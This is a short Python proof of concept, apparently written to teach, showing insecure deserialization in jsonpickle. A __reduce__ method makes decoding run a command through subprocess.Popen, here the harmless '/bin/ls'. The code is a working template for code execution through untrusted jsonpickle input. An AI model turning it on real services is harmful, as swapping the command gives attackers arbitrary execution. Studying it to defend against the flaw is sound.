jsonpickle_shell.py

import os
import subprocess
import jsonpickle


# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (subprocess.Popen, (('/bin/ls',),))


def serialize_exploit():
    shellcode = jsonpickle.encode(Exploit())
    return shellcode


def insecure_deserialize(exploit_code):
    jsonpickle.decode(exploit_code)


if __name__ == '__main__':
    shellcode = serialize_exploit()
    print('Yar, here be yer files.')
    insecure_deserialize(shellcode)